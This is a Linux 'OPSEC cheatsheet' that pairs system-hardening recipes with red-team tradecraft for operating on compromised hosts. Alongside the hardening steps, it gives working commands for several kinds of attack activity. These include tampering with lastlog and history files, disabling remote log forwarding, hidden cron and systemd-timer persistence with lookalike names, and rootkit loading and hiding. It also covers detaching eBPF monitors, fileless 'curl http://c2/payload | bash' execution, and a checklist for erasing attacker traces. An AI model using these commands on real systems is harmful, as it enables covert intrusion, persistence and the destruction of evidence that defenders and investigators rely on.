Linux OPSEC cheatsheet

Swap can contain decrypted secrets, passwords, encryption keys dumped from RAM. Encrypt it or disable it.

# Check if swap is encrypted
swapon --show
cat /etc/crypttab | grep swap

# Option 1: encrypted swap with random key (no hibernate)
# /etc/crypttab
cryptswap  /dev/sdX  /dev/urandom  swap,cipher=aes-xts-plain64,size=512

# /etc/fstab
/dev/mapper/cryptswap  none  swap  sw  0  0

# Option 2: disable swap entirely
swapoff -a
sed -i '/swap/d' /etc/fstab
# Remove swap partition or file
rm -f /swapfile

# Option 3: zram (compressed RAM, no disk swap)
modprobe zram
echo lz4 > /sys/block/zram0/comp_algorithm
echo 4G > /sys/block/zram0/disksize
mkswap /dev/zram0
swapon /dev/zram0

Secure Boot prevents unsigned bootloaders and kernels from running. On operator workstations, enroll your own keys to prevent evil maid attacks with modified bootloaders.

# Check Secure Boot status
mokutil --sb-state
# Or
bootctl status | grep "Secure Boot"

# Check enrolled keys
mokutil --list-enrolled

# Custom key enrollment (advanced)
# Generate Platform Key (PK), Key Exchange Key (KEK),
# and Database key (db)
openssl req -new -x509 -newkey rsa:2048 -subj "/CN=My PK/" \
  -keyout PK.key -out PK.crt -days 3650 -nodes
openssl req -new -x509 -newkey rsa:2048 -subj "/CN=My KEK/" \
  -keyout KEK.key -out KEK.crt -days 3650 -nodes
openssl req -new -x509 -newkey rsa:2048 -subj "/CN=My db/" \
  -keyout db.key -out db.crt -days 3650 -nodes

# Sign your kernel
sbsign --key db.key --cert db.crt \
  --output /boot/vmlinuz-signed /boot/vmlinuz

# Enroll keys via UEFI firmware or KeyTool.efi

# sbctl (modern tool for managing Secure Boot keys)
sbctl status
sbctl create-keys
sbctl enroll-keys --microsoft  # include MS keys for compatibility
sbctl sign -s /boot/vmlinuz-linux
sbctl sign -s /boot/EFI/BOOT/BOOTX64.EFI

Mandatory Access Control (MAC) restricts what programs can do even if running as root. AppArmor is profile-based (Debian/Ubuntu default), SELinux is label-based (RHEL/Fedora default).

# --- AppArmor ---
# Check status
aa-status
# Or
apparmor_status

# Enforce all profiles
aa-enforce /etc/apparmor.d/*

# Create a custom profile for a tool
aa-genprof /path/to/binary
# Run the binary normally, aa-genprof learns what it needs
# Then set to enforce mode

# Confine a binary to specific access
cat > /etc/apparmor.d/usr.local.bin.tool << 'EOF'
#include <tunables/global>
/usr/local/bin/tool {
  #include <abstractions/base>
  /dev/shm/** rw,
  /tmp/** rw,
  network inet stream,
  deny /etc/shadow r,
  deny /home/** rw,
}
EOF
apparmor_parser -r /etc/apparmor.d/usr.local.bin.tool

# --- SELinux ---
# Check status
getenforce
sestatus

# Set to enforcing
setenforce 1
# Persistent: edit /etc/selinux/config
# SELINUX=enforcing

# Check context of a file
ls -Z /path/to/file

# Check denials
ausearch -m avc -ts recent
# Or
journalctl -t setroubleshoot

Force all system traffic through Tor transparently. No application configuration needed - iptables redirects everything.

# /etc/tor/torrc additions
cat >> /etc/tor/torrc << 'EOF'
VirtualAddrNetworkIPv4 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040 IsolateClientAddr IsolateClientProtocol
DNSPort 5353
EOF
systemctl restart tor

# iptables rules for transparent proxy
TOR_UID=$(id -u debian-tor 2>/dev/null || id -u tor)
TRANS_PORT="9040"
DNS_PORT="5353"

# Flush
iptables -F
iptables -t nat -F

# Allow Tor process itself to connect directly
iptables -t nat -A OUTPUT -m owner --uid-owner $TOR_UID -j RETURN
iptables -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT

# Redirect DNS to Tor
iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports $DNS_PORT
iptables -t nat -A OUTPUT -p tcp --dport 53 -j REDIRECT --to-ports $DNS_PORT

# Redirect all TCP to Tor TransPort
iptables -t nat -A OUTPUT -p tcp --syn -j REDIRECT --to-ports $TRANS_PORT

# Allow loopback
iptables -A OUTPUT -o lo -j ACCEPT

# Allow established
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Drop non-Tor traffic (UDP except DNS is dropped)
iptables -A OUTPUT -p udp -j DROP
iptables -A OUTPUT -j DROP

# Block IPv6 entirely
ip6tables -P INPUT DROP
ip6tables -P OUTPUT DROP
ip6tables -P FORWARD DROP

# Verify
curl -s https://check.torproject.org/api/ip

IPv6 can leak your real address even with a VPN. Disable it if your threat model requires it.

# Method 1: sysctl (runtime)
sysctl -w net.ipv6.conf.all.disable_ipv6=1
sysctl -w net.ipv6.conf.default.disable_ipv6=1
sysctl -w net.ipv6.conf.lo.disable_ipv6=1

# Method 2: sysctl persistent
echo "net.ipv6.conf.all.disable_ipv6=1" >> /etc/sysctl.d/99-hardening.conf
echo "net.ipv6.conf.default.disable_ipv6=1" >> /etc/sysctl.d/99-hardening.conf
sysctl --system

# Method 3: kernel boot parameter (most reliable)
# Add to GRUB_CMDLINE_LINUX in /etc/default/grub:
# ipv6.disable=1
# Then: update-grub or grub-mkconfig -o /boot/grub/grub.cfg

# Method 4: blacklist IPv6 module
echo "blacklist ipv6" >> /etc/modprobe.d/disable-ipv6.conf
echo "install ipv6 /bin/true" >> /etc/modprobe.d/disable-ipv6.conf

# Verify
ip -6 addr show    # should be empty
cat /proc/sys/net/ipv6/conf/all/disable_ipv6  # should be 1

• Prefer static compiled binaries (Go, Rust, C with musl) for implants
• Run from /dev/shm (tmpfs, no disk persistence) or use memfd_create
• Delete binary immediately after execution if possible
• Rename binary to look legitimate (e.g., [kworker/0:1], systemd-helper)
• Strip symbols: strip -s binary
• Use UPX or custom packing to hinder static analysis
• If you must use a script, pipe it directly into the interpreter and never write it to disk

Many tools besides bash maintain their own history files. A thorough cleanup requires knowing all of them. Missing even one can reveal the full attack timeline.

# All history files to check and clean
~/.bash_history
~/.zsh_history
~/.sh_history
~/.python_history
~/.mysql_history
~/.psql_history
~/.node_repl_history
~/.lesshst
~/.viminfo
~/.wget-hsts
~/.recently-used.xbel
~/.local/share/recently-used.xbel
~/.rediscli_history
~/.dbshell           # MongoDB shell
~/.sqlite_history
~/.gdb_history
~/.php_history

# Nuclear option - find and destroy all history files
find /home -name ".*history*" -exec shred -zu {} \;
find /root -name ".*history*" -exec shred -zu {} \;
find /home -name ".*hst*" -exec shred -zu {} \;
find /home -name ".viminfo" -exec shred -zu {} \;

# Symlink all common history files to /dev/null
for f in .bash_history .zsh_history .python_history \
         .mysql_history .psql_history .lesshst .viminfo; do
    ln -sf /dev/null ~/"$f"
done

• ALWAYS unset HISTFILE as the first command after getting a shell
• Check HISTCONTROL: echo $HISTCONTROL
• Check for PROMPT_COMMAND: echo $PROMPT_COMMAND (can log commands via syslog or custom scripts)
• Check for pam_tty_audit: grep pam_tty_audit /etc/pam.d/* (logs keystrokes at PAM level, history evasion is useless against this)
• auditd with execve rules logs all commands regardless of history settings
• Bash compiled with syslog support (--enable-syslog) sends commands to syslog directly
• Check: bash --version and grep -r HISTFILE /etc/profile /etc/profile.d/ /etc/bash.bashrc

# Current logins (reads utmp)
who
w
finger

# Login history from wtmp
last
last -f /var/log/wtmp
last -n 20            # last 20 entries
last -i               # show IP addresses
last <username>       # filter by user

# Failed logins from btmp (requires root)
lastb
last -f /var/log/btmp

# Last login per user
lastlog
lastlog -u <username>

# Raw dump - converts binary to editable text
utmpdump /var/run/utmp
utmpdump /var/log/wtmp
utmpdump /var/log/btmp

# Check file sizes (empty = already tampered)
ls -la /var/log/wtmp /var/log/btmp /var/run/utmp /var/log/lastlog

The lastlog file is indexed by UID. Each entry is at offset UID * sizeof(struct lastlog). The struct is: ll_time (4 bytes) + ll_line (32 bytes) + ll_host (256 bytes) = 292 bytes per entry. You can zero out a specific user's entry without affecting others.

# Zero out a specific user's lastlog entry
# Calculate offset: UID * 292
UID_NUM=$(id -u targetuser)
dd if=/dev/zero of=/var/log/lastlog \
   bs=292 count=1 seek=$UID_NUM conv=notrunc 2>/dev/null

# Verify
lastlog -u targetuser
# Should show "Never logged in"

# Python method (more precise)
python3 -c "
import os
uid = int(os.popen('id -u targetuser').read().strip())
entry_size = 292
offset = uid * entry_size
with open('/var/log/lastlog', 'r+b') as f:
    f.seek(offset)
    f.write(b'\x00' * entry_size)
print(f'Cleared lastlog for UID {uid} at offset {offset}')
"

# Set a fake last login (instead of clearing)
python3 -c "
import struct, time, os
uid = int(os.popen('id -u targetuser').read().strip())
entry_size = 292
offset = uid * entry_size
# Fake: logged in 30 days ago from console
fake_time = int(time.time()) - (30 * 86400)
ll_time = struct.pack('i', fake_time)
ll_line = b'tty1' + b'\x00' * 28        # 32 bytes
ll_host = b'console' + b'\x00' * 249    # 256 bytes
with open('/var/log/lastlog', 'r+b') as f:
    f.seek(offset)
    f.write(ll_time + ll_line + ll_host)
"

If logs are forwarded to a remote syslog server (SIEM, Splunk, ELK), local tampering is insufficient. The remote copy will still contain your traces. Always check for remote logging before assuming local cleanup is enough.

# Check for remote syslog forwarding
grep -r "@@\|@" /etc/rsyslog.conf /etc/rsyslog.d/ 2>/dev/null
# @  = UDP forwarding
# @@ = TCP forwarding

# Check for syslog-ng remote destinations
grep -r "destination" /etc/syslog-ng/ 2>/dev/null

# Check for journald forwarding
grep "ForwardTo" /etc/systemd/journald.conf

# Check for auditd remote plugin (audisp-remote)
cat /etc/audisp/plugins.d/au-remote.conf 2>/dev/null
cat /etc/audit/plugins.d/au-remote.conf 2>/dev/null

# Check for installed log agents
systemctl list-units | grep -iE "filebeat|fluentd|logstash|splunk|ossec|wazuh|falcon"

# If remote logging is active, local tampering alone is NOT enough
# Options:
# 1. Disable/stop the forwarding agent
# 2. Block outbound syslog (tcp/514, tcp/6514, udp/514)
# 3. Accept that remote logs are beyond your reach

ptrace allows one process to inspect and modify another. Attackers use it for credential dumping and process injection. Restrict it to prevent these attacks.

# Check current ptrace scope
cat /proc/sys/kernel/yama/ptrace_scope
# 0 = no restrictions (any process can ptrace any other)
# 1 = restricted (only parent can ptrace child)
# 2 = admin only (only CAP_SYS_PTRACE can ptrace)
# 3 = no ptrace (completely disabled)

# Set to most restrictive
sysctl -w kernel.yama.ptrace_scope=3

# Persistent
echo "kernel.yama.ptrace_scope=3" >> /etc/sysctl.d/99-hardening.conf

# For operator workstation: 3 (no ptrace)
# For development machine: 1 (parent-child only)

# Check if any process is currently ptracing another
grep TracerPid /proc/*/status 2>/dev/null | grep -v "TracerPid:.0"

Protect process memory from inspection and extraction.

# Disable /proc/pid/mem access for non-root
# Already covered by ptrace_scope=3

# Hidepid mount option for /proc
# Prevents users from seeing other users' processes
mount -o remount,hidepid=2 /proc

# Persistent via /etc/fstab
# proc  /proc  proc  defaults,hidepid=2  0  0

# Or via systemd
mkdir -p /etc/systemd/system/proc-hidepid.mount.d/
cat > /etc/systemd/system/proc.mount.d/hidepid.conf << 'EOF'
[Mount]
Options=defaults,hidepid=2
EOF

# Disable /proc/kcore (physical memory dump)
echo "install kcore /bin/true" >> /etc/modprobe.d/hardening.conf
# Or mount with hidepid=2 which also restricts kcore

# Lock down /proc/sysrq-trigger
echo 0 > /proc/sys/kernel/sysrq

# Clear process environment on exec
# Use env -i when launching sensitive processes
env -i HOME=/tmp PATH=/usr/bin:/bin ./sensitive_tool

Persistence via cron or systemd timers is common but leaves artifacts. System-level crontabs are less scrutinized than user crontabs. Systemd timers are stealthier because they blend with legitimate system units.

# Cron - hide in system crontab (less obvious)
echo "*/30 * * * * root /dev/shm/.update >/dev/null 2>&1" >> /etc/crontab

# Cron - hide among system cron directories
cp payload /etc/cron.daily/man-db.update
chmod 755 /etc/cron.daily/man-db.update

# User crontab (per user, stored in /var/spool/cron/)
crontab -e    # leaves editor artifacts (.viminfo)
# Better: pipe directly
echo "*/15 * * * * /dev/shm/.check >/dev/null 2>&1" | crontab -

# Systemd timer persistence (stealthier)
cat > /etc/systemd/system/systemd-tmpfiles-clean2.timer << 'EOF'
[Unit]
Description=Daily Cleanup of Temporary Directories

[Timer]
OnCalendar=*-*-* 04:00:00
Persistent=true

[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/systemd-tmpfiles-clean2.service << 'EOF'
[Unit]
Description=Cleanup of Temporary Directories

[Service]
Type=oneshot
ExecStart=/dev/shm/.update
EOF

systemctl daemon-reload
systemctl enable systemd-tmpfiles-clean2.timer

# At job (one-time future execution)
echo "/dev/shm/.payload" | at now + 5 minutes 2>/dev/null

# Cleanup
crontab -r                     # remove user crontab
sed -i '/.update/d' /etc/crontab
rm /etc/systemd/system/systemd-tmpfiles-clean2.*
systemctl daemon-reload

Process environment variables persist in /proc//environ and can reveal operational details. Forensic analysts check environ for C2 URLs, credentials, or non-standard variables that indicate compromise.

# View a process's environment
cat /proc/<pid>/environ | tr '\0' '\n'
strings /proc/<pid>/environ

# Dangerous env vars to avoid setting
# C2_URL, PAYLOAD_PATH, LHOST, LPORT, etc.

# Clear environment before launching
env -i ./implant

# Use env -i with minimal required vars
env -i HOME=/tmp PATH=/usr/bin:/bin ./implant

# Unset sensitive vars in current shell
unset HISTFILE HISTSIZE HISTFILESIZE
unset C2_URL EXFIL_KEY

# Some tools read env vars from /proc
# pspy monitors /proc for new processes and their environ

Avoid writing to persistent storage whenever possible. Use tmpfs mounts for temporary tool deployment. When files must be written to disk, securely delete them afterward - but understand that on SSDs, shred is unreliable due to wear leveling and TRIM.

# tmpfs locations (RAM-based, no disk writes)
/dev/shm/          # shared memory, always tmpfs
/tmp/              # often tmpfs on modern systems
/run/              # tmpfs on systemd systems
/run/user/$UID/    # per-user tmpfs

# Check if a path is tmpfs
df -T /dev/shm     # should show tmpfs
mount | grep "tmpfs"
findmnt -t tmpfs

# Execute from tmpfs
cp tool /dev/shm/.t
chmod +x /dev/shm/.t
/dev/shm/.t; rm -f /dev/shm/.t

# Secure deletion on HDD (rotational disk)
shred -vfz -n 3 file.txt     # 3 random passes + zero pass
shred -zu file.txt            # 3 passes + zero + unlink

# Secure deletion tools
srm file.txt                  # secure-delete package
wipe file.txt                 # wipe utility

# SSD warning: shred is unreliable due to wear leveling
# On SSD: delete file, then issue TRIM
rm file.txt
fstrim -v /                   # triggers TRIM on entire FS

# For SSD: full disk encryption is the only reliable protection

# Fileless execution - never touch disk
curl -s http://c2/payload | bash
wget -qO- http://c2/tool | sh
curl -s http://c2/elf | dd of=/dev/shm/.x && chmod +x /dev/shm/.x && /dev/shm/.x; rm /dev/shm/.x

Beyond your own tools, the system generates temporary files that can reveal activity. Browser caches, thumbnail databases, and recently-used file lists all record what you accessed.

# System temp directories
rm -rf /tmp/* /tmp/.*  2>/dev/null
rm -rf /var/tmp/* /var/tmp/.* 2>/dev/null

# User-specific temp and cache
rm -rf ~/.cache/thumbnails/*
rm -rf ~/.cache/mozilla/firefox/*/cache2/*
rm -rf ~/.cache/chromium/*/Cache/*
rm -rf ~/.cache/google-chrome/*/Cache/*

# Recently used files (GNOME/GTK)
rm -f ~/.local/share/recently-used.xbel
rm -f ~/.recently-used.xbel
# Prevent future writes
ln -sf /dev/null ~/.local/share/recently-used.xbel

# Thumbnail caches (reveal viewed images)
rm -rf ~/.cache/thumbnails/normal/*
rm -rf ~/.cache/thumbnails/large/*
rm -rf ~/.cache/thumbnails/fail/*

# Tracker database (GNOME file indexer)
tracker3 reset --filesystem 2>/dev/null
tracker reset --hard 2>/dev/null
rm -rf ~/.cache/tracker3/*
rm -rf ~/.local/share/tracker/*

# Zeitgeist activity log (Ubuntu)
zeitgeist-daemon --quit 2>/dev/null
rm -rf ~/.local/share/zeitgeist/*

# Trash
rm -rf ~/.local/share/Trash/*

# Clipboard managers
rm -rf ~/.local/share/clipman/* 2>/dev/null
rm -rf ~/.cache/clipboard/* 2>/dev/null

# KDE activity logs
rm -rf ~/.local/share/kactivitymanagerd/*

Extended attributes and file capabilities can reveal tampering. The immutable attribute prevents deletion even by root (until removed). SELinux labels and filesystem ACLs also create traceable metadata.

# View extended attributes
lsattr file.txt
getfattr -d file.txt

# Set immutable (prevents modification/deletion)
chattr +i file.txt
# Remove immutable
chattr -i file.txt

# Hide from lsattr by removing all attributes
chattr -aijdAcDsStTu file.txt

# File capabilities (can grant root-like powers)
getcap /path/to/binary
# Remove capabilities
setcap -r /path/to/binary

# SELinux context (if enforcing)
ls -Z file.txt
# Restore default context
restorecon -v file.txt

# Check for filesystem ACLs
getfacl file.txt
# Remove all ACLs
setfacl -b file.txt

Multiple filesystem-level artifacts can reveal attacker activity. The mlocate database indexes all filenames, USB history lives in journal/dmesg, and recently accessed files can be found with find.

# Check what's mounted
mount
findmnt --real
cat /proc/mounts

# USB mount history (forensic artifact)
journalctl | grep -i "usb\|removable"
dmesg | grep -i "usb\|scsi"
ls /dev/disk/by-id/ | grep usb

# Recently accessed files
find / -atime -1 -type f 2>/dev/null    # accessed last 24h
find / -mtime -1 -type f 2>/dev/null    # modified last 24h
find / -ctime -1 -type f 2>/dev/null    # metadata changed last 24h
find / -newer /tmp/timestamp_ref -type f 2>/dev/null

# mlocate database (indexes all filenames on disk)
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db    # newer plocate

# Update database to include your cleanup
updatedb
# Or delete the database entirely
rm -f /var/lib/mlocate/mlocate.db
rm -f /var/lib/plocate/plocate.db

# Inotify watches (defender may be monitoring directories)
# Check if inotifywait or similar is running
ps aux | grep inotify
# Check for fanotify-based monitors
cat /proc/*/fdinfo/* 2>/dev/null | grep fanotify

# Deleted files still open (recoverable via /proc)
ls -la /proc/*/fd 2>/dev/null | grep deleted
# To find: lsof +L1

Network activity leaves traces in DNS cache, firewall logs, connection tracking tables, and application-level artifacts. Even after closing connections, evidence persists in multiple locations.

# DNS cache (systemd-resolved)
resolvectl statistics
resolvectl flush-caches

# DNS cache (nscd)
nscd -i hosts

# Conntrack table (kernel connection tracking)
conntrack -L 2>/dev/null
cat /proc/net/nf_conntrack 2>/dev/null
# Flush conntrack
conntrack -F

# Current connections (check before and after)
ss -tunapo
netstat -tunapo

# iptables/nftables logs (your connections may be logged)
dmesg | grep -i "iptables\|nftables\|DROPPED\|REJECT"
journalctl -k | grep -i "IN=.*OUT="
grep -r "iptables\|nftables" /var/log/ 2>/dev/null

# ARP cache (reveals network scanning)
ip neigh show
arp -a
# Flush ARP cache
ip neigh flush all

# Routing table changes you may have made
ip route show
# Restore default if modified

# SSH known_hosts (your C2 might be recorded here)
~/.ssh/known_hosts
# Remove specific entry
ssh-keygen -R <c2_host>
# Or hash all entries (obscures hostnames)
ssh-keygen -H
# Clear all
> ~/.ssh/known_hosts

# /etc/hosts modifications
# Check and restore if you added entries
cat /etc/hosts

# /etc/resolv.conf changes
# Restore if modified for DNS exfiltration

SSH connections leave traces on both client and server sides. The server records your login in utmp/wtmp/lastlog and auth.log. The client records the server in known_hosts. Several options reduce the footprint.

# Connect without updating known_hosts
ssh -o UserKnownHostsFile=/dev/null \
    -o StrictHostKeyChecking=no \
    user@target

# No PTY allocation (reduces utmp/wtmp logging on some configs)
ssh -T user@target

# Use non-standard port (may bypass monitoring)
ssh -p 8022 user@target

# Proxy through SOCKS (Tor)
ssh -o ProxyCommand='nc -x 127.0.0.1:9050 %h %p' user@target

# Proxy through HTTP CONNECT proxy
ssh -o ProxyCommand='nc -X connect -x proxy:8080 %h %p' user@target

# Dynamic SOCKS proxy for tunneling
ssh -D 9050 -N -f user@target

# Local port forward (access internal services)
ssh -L 8080:internal-host:80 -N -f user@target

# Remote port forward (expose local service to target)
ssh -R 4444:127.0.0.1:4444 -N -f user@target

# SSH over DNS (if only DNS egress is allowed)
# Use tools like iodine, dns2tcp, or dnscat2

# ControlMaster (reuse connections, fewer auth events)
ssh -o ControlMaster=auto \
    -o ControlPath=/dev/shm/.ssh-%r@%h:%p \
    -o ControlPersist=600 \
    user@target

Harden sudo to prevent privilege escalation abuse and reduce forensic footprint.

# /etc/sudoers.d/hardening (use visudo to edit)
visudo -f /etc/sudoers.d/hardening

# Content:
Defaults        timestamp_timeout=5
Defaults        passwd_tries=3
Defaults        logfile="/var/log/sudo.log"
Defaults        log_input,log_output
Defaults        iolog_dir="/var/log/sudo-io/%{user}"
Defaults        requiretty
Defaults        use_pty
Defaults        env_reset
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults        !visiblepw
Defaults        always_set_home

# Restrict sudo to specific group
%wheel  ALL=(ALL:ALL) ALL

# No-password for specific commands only (if needed)
# operator ALL=(ALL) NOPASSWD: /usr/bin/wg-quick

# Check current sudo config
sudo -l
cat /etc/sudoers
ls -la /etc/sudoers.d/

PAM (Pluggable Authentication Modules) controls authentication. Harden it to prevent brute force and enforce strong passwords.

# Lockout after failed attempts
# /etc/pam.d/common-auth (Debian) or /etc/pam.d/system-auth (RHEL)
# Add before pam_unix.so:
# auth required pam_faillock.so preauth deny=5 unlock_time=900
# auth [default=die] pam_faillock.so authfail deny=5 unlock_time=900

# Password complexity (pwquality)
# /etc/security/pwquality.conf
cat > /etc/security/pwquality.conf << 'EOF'
minlen = 14
dcredit = -1
ucredit = -1
ocredit = -1
lcredit = -1
minclass = 4
maxrepeat = 3
maxclassrepeat = 4
gecoscheck = 1
dictcheck = 1
EOF

# Check for pam_tty_audit (logs all keystrokes)
grep -r pam_tty_audit /etc/pam.d/
# If found, it logs every keystroke at PAM level
# History evasion is useless against this

# Check PAM configuration
pam-auth-update --force  # Debian/Ubuntu
authselect list          # RHEL/Fedora

SSDs require different secure deletion approaches due to their architecture.

# SSD secure erase (ATA Secure Erase)
# WARNING: destroys ALL data on the drive
hdparm -I /dev/sda | grep -i "security"
# Set a temporary password
hdparm --user-master u --security-set-pass p /dev/sda
# Issue secure erase
hdparm --user-master u --security-erase p /dev/sda
# Enhanced secure erase (also erases reallocated sectors)
hdparm --user-master u --security-erase-enhanced p /dev/sda

# NVMe secure erase
nvme format /dev/nvme0n1 --ses=1   # user data erase
nvme format /dev/nvme0n1 --ses=2   # cryptographic erase

# blkdiscard (TRIM entire device)
blkdiscard /dev/sda
# Or specific range
blkdiscard -o 0 -l 1G /dev/sda

# File-level TRIM after deletion
rm sensitive_file
fstrim -v /path/to/mountpoint

# Verify TRIM support
lsblk -D    # DISC-GRAN and DISC-MAX should be non-zero
cat /sys/block/sda/queue/discard_max_bytes  # non-zero = TRIM supported

RAM can retain data after power-off (cold boot attack). Clear it during shutdown to prevent extraction.

# Method 1: systemd service to clear RAM on shutdown
cat > /etc/systemd/system/memory-wipe.service << 'EOF'
[Unit]
Description=Wipe memory on shutdown
DefaultDependencies=no
Before=shutdown.target reboot.target halt.target

[Service]
Type=oneshot
ExecStart=/bin/sh -c 'echo 3 > /proc/sys/vm/drop_caches; swapoff -a; swapon -a'

[Install]
WantedBy=halt.target reboot.target shutdown.target
EOF
systemctl enable memory-wipe.service

# Method 2: sdmem (secure-delete package)
# Overwrites free memory with random data
sdmem -v

# Method 3: kernel parameter
# Add to GRUB_CMDLINE_LINUX in /etc/default/grub:
# page_poison=1 slub_debug=P init_on_alloc=1 init_on_free=1
# init_on_alloc: zero-fill pages on allocation
# init_on_free: zero-fill pages on free
# Then: update-grub

# Method 4: LUKS with volatile key
# If using encrypted swap with random key (/dev/urandom),
# swap contents are unrecoverable after reboot

# Verify kernel memory clearing options
cat /proc/cmdline | grep -oE "(page_poison|slub_debug|init_on_alloc|init_on_free)=[^ ]+"

Hibernate writes RAM to disk (swap), creating a forensic goldmine. Either disable it or ensure swap is encrypted.

# Disable hibernate entirely
systemctl mask hibernate.target
systemctl mask hybrid-sleep.target
systemctl mask suspend-then-hibernate.target

# Verify
systemctl status hibernate.target

# If hibernate is needed, ensure encrypted swap
# The swap partition MUST be inside LUKS
# Check: lsblk shows swap on /dev/mapper/cryptswap or similar

# Prevent suspend/hibernate via logind
cat > /etc/systemd/logind.conf.d/no-hibernate.conf << 'EOF'
[Login]
HandleLidSwitch=lock
HandleLidSwitchExternalPower=lock
HandleSuspendKey=ignore
HandleHibernateKey=ignore
IdleAction=lock
EOF
systemctl restart systemd-logind

Loading kernel modules leaves traces in dmesg, syslog, and the module list. If you load a rootkit or custom module, these artifacts must be addressed.

# List loaded modules
lsmod
cat /proc/modules

# Check dmesg for module load events
dmesg | grep -i "module\|loaded\|insmod"

# Load a module (leaves traces)
insmod rootkit.ko
# Or
modprobe rootkit

# After loading, hide from lsmod
# The module itself must implement list_del to remove
# itself from the kernel module list

# Check for module signature enforcement
cat /proc/sys/kernel/modules_disabled
# 1 = no new modules can be loaded
# 0 = modules can be loaded

# Check if module signing is required
grep CONFIG_MODULE_SIG_FORCE /boot/config-$(uname -r)
# If enforced, only signed modules can be loaded

# Clear dmesg (removes kernel ring buffer)
dmesg -C
# Or
echo "" > /dev/kmsg    # requires root

# Check kernel taint flags
cat /proc/sys/kernel/tainted
# 0 = clean, non-zero = tainted (module loaded, etc.)

eBPF programs are increasingly used for both offensive (rootkits) and defensive (monitoring) purposes. Check for active eBPF programs before operating.

# List loaded eBPF programs
bpftool prog list 2>/dev/null
bpftool prog show

# List eBPF maps
bpftool map list

# Check for eBPF-based security tools
# Falco, Tracee, Tetragon, bpftrace
ps aux | grep -iE "falco|tracee|tetragon|bpftrace"

# Check if BPF LSM is active
cat /sys/kernel/security/lsm
# If "bpf" is in the list, eBPF LSM hooks are active

# Check for tracepoints being monitored
cat /sys/kernel/debug/tracing/enabled_functions 2>/dev/null
cat /sys/kernel/debug/tracing/kprobe_events 2>/dev/null

# Detach eBPF programs (requires root + CAP_BPF)
bpftool prog detach id <prog_id> <attach_point>

# Firejail - sandbox a browser
firejail --private --dns=9.9.9.9 firefox

# Firejail - sandbox with network namespace
firejail --net=none ./suspicious_binary

# Firejail - sandbox with minimal filesystem
firejail --private --private-tmp --private-dev \
  --whitelist=/tmp/workdir ./tool

# Bubblewrap - minimal sandbox
bwrap --ro-bind / / --dev /dev --proc /proc \
  --tmpfs /tmp --tmpfs /home \
  --unshare-all --die-with-parent \
  ./binary

# unshare - create network namespace (no network)
unshare --net --map-root-user /bin/bash
# Process inside has no network access

# systemd-nspawn - quick container
systemd-nspawn -D /path/to/rootfs --private-network

# Lynis - full system audit
lynis audit system

# chkrootkit scan
chkrootkit

# rkhunter scan
rkhunter --check --skip-keypress

# aide - initialize and check
aide --init
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --check

Before starting an operation, run these checks to understand the target's logging posture. The results determine what cleanup will be necessary.

# 1. What logging is active?
systemctl status auditd rsyslog syslog-ng 2>/dev/null
systemctl status systemd-journald

# 2. Are logs forwarded remotely?
grep -r "@@\|@" /etc/rsyslog.conf /etc/rsyslog.d/ 2>/dev/null
cat /etc/audisp/plugins.d/au-remote.conf 2>/dev/null

# 3. What audit rules are active?
auditctl -l 2>/dev/null

# 4. Is there an EDR/agent?
ps aux | grep -iE "falcon|crowdstrike|sentinel|carbon|ossec|wazuh|cilium|tetragon|falco"

# 5. What shell am I in?
echo $0 $SHELL
echo $HISTFILE $HISTCONTROL

# 6. Is pam_tty_audit enabled?
grep pam_tty_audit /etc/pam.d/* 2>/dev/null

# 7. Journal storage mode?
cat /etc/systemd/journald.conf | grep Storage

# 8. Filesystem type (affects timestamp behavior)
df -T / /tmp /dev/shm

# 9. Kernel hardening level?
cat /proc/sys/kernel/yama/ptrace_scope
cat /proc/sys/kernel/modules_disabled
cat /proc/sys/kernel/kptr_restrict

# 10. Security modules active?
cat /sys/kernel/security/lsm

After completing the operation, verify that cleanup was effective. Run these from a clean context (not the implant shell).

# 1. Verify login records are clean
last | grep "$ATTACKER_IP"
lastb | grep "$ATTACKER_IP" 2>/dev/null
lastlog -u "$ATTACKER_USER" 2>/dev/null
who | grep "$ATTACKER_USER"

# 2. Verify text logs are clean
grep -r "$ATTACKER_IP" /var/log/ 2>/dev/null
grep -r "$ATTACKER_USER" /var/log/ 2>/dev/null

# 3. Verify journal is clean
journalctl | grep -i "$ATTACKER_IP" 2>/dev/null

# 4. Verify no artifacts on disk
find / -name ".*implant*" -o -name ".*payload*" 2>/dev/null
find /dev/shm /tmp /var/tmp -type f 2>/dev/null
ls -la /dev/shm/

# 5. Verify no running processes
ps aux | grep -v grep | grep -iE "implant|payload|beacon"

# 6. Verify no persistence left (unless intended)
crontab -l 2>/dev/null
cat /etc/crontab | grep -v "^#"
systemctl list-timers --all
ls /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/

# 7. Check for open connections back to your infra
ss -tunapo | grep "$ATTACKER_IP"

# 8. Verify no browser/desktop artifacts
find /home /root -name "recently-used.xbel" 2>/dev/null
find /home /root -path "*/thumbnails/*" -type f 2>/dev/null

• Volatility 3
• LKRG
• Falco
• pspy
• BleachBit

• SANS Linux Forensics
• Linux Audit
• Lynis
• USBGuard
• MITRE ATT&CK - Linux
• Forensics Wiki
• Kicksecure
• Heads firmware
• TRESOR

• Anti-Forensics (Log cleanup and artifact removal)
• OPSEC Checklist (Engagement security checklists)
• Anonymization (Identity separation and routing)
• EDR Evasion (Endpoint detection bypass)
• Shellcode Injection (In-memory execution techniques)
• Red Team Infrastructure (C2, redirectors, domain fronting)
• Tails (Amnesic live system)
• Whonix (Tor-routed workstation/gateway)
• Qubes OS (Security through compartmentalization)
• Cellular OPSEC (Mobile network privacy and SIM/IMEI isolation)
• GrapheneOS (Hardened Android for mobile OPSEC)
• Mullvad VPN (VPN setup with kill switch and OPSEC config)